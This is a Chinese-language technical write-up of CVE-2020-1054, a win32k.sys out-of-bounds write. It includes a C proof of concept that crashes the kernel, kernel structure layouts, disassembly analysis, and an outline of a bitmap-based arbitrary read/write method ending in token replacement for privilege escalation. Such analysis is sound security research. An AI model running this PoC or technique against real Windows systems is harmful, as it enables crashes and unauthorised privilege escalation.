0x01 漏洞描述
CVE-2020-1054是win32k.sys内核模块的oob(out of band)漏洞。成功利用可以导致权限提升。漏洞存在于win32k!vStrWrite01函数中,函数在对BitMap对象中的pvScan0成员指向的像素区域进行读写的时候,没有判断读写的地址是否超过BitMap对象的像素点范围,是否越界,导致BSOD的产生。通过合理的内存布局,可以利用漏洞扩大目标BitMap对象的sizelBitmap来扩大BitMap对象的可读写范围,利用扩大读写范围的BitMap对象来修改另一个BitMap对象的pvScan0就能实现任意地址读写。
0x02 漏洞分析
蓝屏poc
##include <Windows.h>
##include <inttypes.h>
##include <stdint.h>
##include <stdio.h>
##include <stdlib.h>
int main(int argc, char* argv[])
{
LoadLibraryA("user32.dll");
HDC r0 = CreateCompatibleDC(0x0); //创建与指定设备兼容的内存设备上下文环境
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);//创建与指定设备环境相关的设备兼容位图
//HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);//创建与指定设备环境相关的设备兼容位图
SelectObject(r0, r1); //选择一对象到指定的设备上下文环境中,该对象替换先前的相同类型对象
DrawIconEx(r0, 0x0, 0x0, (HICON)0x30000010003, 0x0, 0xfffffffffebffffc, 0x0, 0x0, 0x6);
return 0;
}
CreateCompatibleBitmap
创建与指定设备上下文关联的设备兼容位图
HBITMAP CreateCompatibleBitmap(
[in] HDC hdc, //设备上下文的句柄
[in] int cx, //位图宽度
[in] int cy //位图高度
);
DrawIconEx
将图标和光标绘制到指定设备上下文中,执行指定光栅操作,指定拉伸或压缩图标光标。
BOOL DrawIconEx(
[in] HDC hdc,
[in] int xLeft,
[in] int yTop,
[in] HICON hIcon,//绘制图标和光标的句柄
[in] int cxWidth,//图标或光标逻辑宽度
[in] int cyWidth,//图标或光标逻辑高度
[in] UINT istepIfAniCur,
[in, optional] HBRUSH hbrFlickerFreeDraw,
[in] UINT diFlags
);
崩溃地址为win32k!vStrWrite01+0x36a
vStrWrite01
StrWrite01(struct _STRRUN *prun, struct _XRUNLEN *a2, struct SURFACE *pSurf, struct _CLIPOBJ *a4)
OID vStrWrite01(STRRUN *prun,
XRUNLEN *pxrlEnd,
SURFACE *pSurf,
CLIPOBJ *pco)
相关结构体
typedef struct _XRUNLEN
{
LONG xPos;
LONG cRun;
LONG aul[1];
} XRUNLEN;
typedef struct _STRRUN
{
LONG yPos;
LONG cRep;
XRUNLEN xrl;
} STRRUN;
typedef struct tagSIZE {
LONG cx;
LONG cy;
} SIZE,*PSIZE,*LPSIZE;
typedef SIZE SIZEL;
BASEOBJECT结构体
typedef struct _BASEOBJECT64{
ULONG64 hHmgr; // 0x00
ULONG32 ulShareCount; // 0x08
WORD cExclusiveLock; // 0x0A
WORD BaseFlags; // 0x0C
ULONG64 Tid; // 0x10
} BASEOBJECT64;
SURFOBJ结构体
typedef struct _SURFOBJ64{
BASEOBJECT64 baseObj; // 0x00
ULONG64 dhsurf; // 0x18
ULONG64 hsurf; // 0x20
ULONG64 dhpdev; // 0x28
ULONG64 hdev; // 0x30
SIZEL sizlBitmap; // 0x38
ULONG64 cjBits; // 0x40
ULONG64 pvBits; // 0x48
ULONG64 pvScan0; // 0x50
ULONG32 lDelta; // 0x58
ULONG32 iUniq; // 0x5C
ULONG32 iBitmapFormat; // 0x60
USHORT iType; // 0x64
USHORT fjBitmap; // 0x66
} SURFOBJ64;
pvScan01指向Pixel Data数据区,这些数据可以通过GetBitmapBits和SetBitmapBits控制
sizlBitmap是两个Dword,包含位图的高度和宽度。
触发地点
崩溃地址为win32k!vStrWrite01+0x36a,mov esi,[r14]
.text:FFFFF97FFF0A2175 lea r14, [rcx+rax*4]
.text:FFFFF97FFF0A2179 test ebx, ebx
.text:FFFFF97FFF0A217B js short loc_FFFFF97FFF0A2192
.text:FFFFF97FFF0A217D mov rax, [rsp+0A8h+arg_10]
.text:FFFFF97FFF0A2185 cmp ebx, [rax+38h]
.text:FFFFF97FFF0A2188 jge short loc_FFFFF97FFF0A2192
.text:FFFFF97FFF0A218A mov esi, [r14]
内存地址由rcx和rax决定。
vStrWrite01流程
loc_FFFFF97FFF0A20B4
用rcx和rax计算r14的内存地址,之后执行mov esi,[r14]指令。
如果r14地址合法,对读到的值进行or或者and运算,并把运算后的值赋值回r14指向的内存地址。
如果控制了崩溃处的destAddr(越界地址oobAddr),就可以进行内存破坏。
之后对rcx进行操作,判断r11d是否为0,不为0跳转到loc_FFFFF97FFF0A212B,进行r11d减1操作。
函数流程如下
while ()
{
do {
/*
lea r14, [rcx + rax * 4]
rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0
rax = prun->xrl->xPos >> 5
*/
r14 = rcx + 4 * (prun->xrl->xPos >> 5); //读取时的oobAddr,rcx + rax * 4
...
tmp = *destAddr //崩溃
do {
if () {
tmp |= xxxxxx
}
else {
tmp &= xxxxxx
}
}while(r11d)
--r11d;
if () {
*destAddr = tmp; //满足条件,写入oobAddr
}
} while ()
/*
add rcx, rax
rcx = rcx + pSurf->lDelta
*/
rcx += pSurf->lDelta;//每次循环obbAddr会增加
}
对r14指向的内存进行读写
rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0
rax = prun->xrl->xPos >> 5
lea r14, [rcx+rax*4]
rcx = rcx + pSurf->lDelta
循环的操作如下
for(i = 0; i<prun->yPos; i++)
{
r14 = pSurf->lDelta * prun->yPos + pSurf->pvScan0 + 4*(prun->xrl->xPos) + i*pSurf->lDelta
}
0x03 漏洞利用
崩溃时的指令是mov esi, [r14]
,由于引用无效的内存发生,是越界写入漏洞。崩溃时访问的地址能通过oob控制其中的内容。影响读写oobAddr的值有prun->yPos
,pSurf->lDelta
,prun->xrl->xPos
和循环次数
DrawIconEx(exploit_dc, 0x0, 0x0, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
yPos有DrawIconEx中的arg3和arg有关
##include<stdio.h>
int main(){
int arg3 = 0xb;
int arg6 = 0xffe00000;
int yPos = 0;
int remainder_count = 0;
int quotient_count = 0;
int mod_num = (arg3+1-(arg6+arg3+1)) % 0x20;
int div_num = (arg3+1-(arg6+arg3+1))/ 0x20;
if(0xf+mod_num>=0x20){
remainder_count = mod_num;
quotient_count = div_num+1;
yPos = (remainder_count-1-1)*(div_num+1) \
+ div_num +arg6 + arg3+1;
}else{
remainder_count = mod_num;
quotient_count = div_num;
yPos = (0x20-1-1)*div_num+arg6+arg3+1;
}
printf("arg3: 0x%x\n",arg3);
printf("arg6: 0x%x\n",arg6);
printf("yPos First: 0x%x\n",yPos);
printf("yPos Second: 0x%x\n",(yPos+quotient_count));
return 0;
}
prun -> xrl.xPos:0x900
pSurf->lDelta:0xa2a0
prun->xPos:0xb
地址任意读写
SIZEL sizlBitmap,是限定位图的长宽的,存储Pixel Data的长宽大小,四字节写可修改Pixel Data的大小
利用过程
CreateCompatibleBitmap申请VulBITMAP,并获得VulBITMAP的内核地址
计算oob读写地址
在oob读地址处申请BITMAP1,在oob写处申请BITMAP2,大小为0x7000
触发漏洞,读取BITMAP1中的sIzlBitmap值,修改BITMAP2对象的sizlBitmap值,对BITMAP2使用SetBitmapBits和GetBitmapBits越界读写BITMAP3的pvScan0
BITMAP2作为Manager,BITMAP3作为worker,实现任意读写,替换token等提权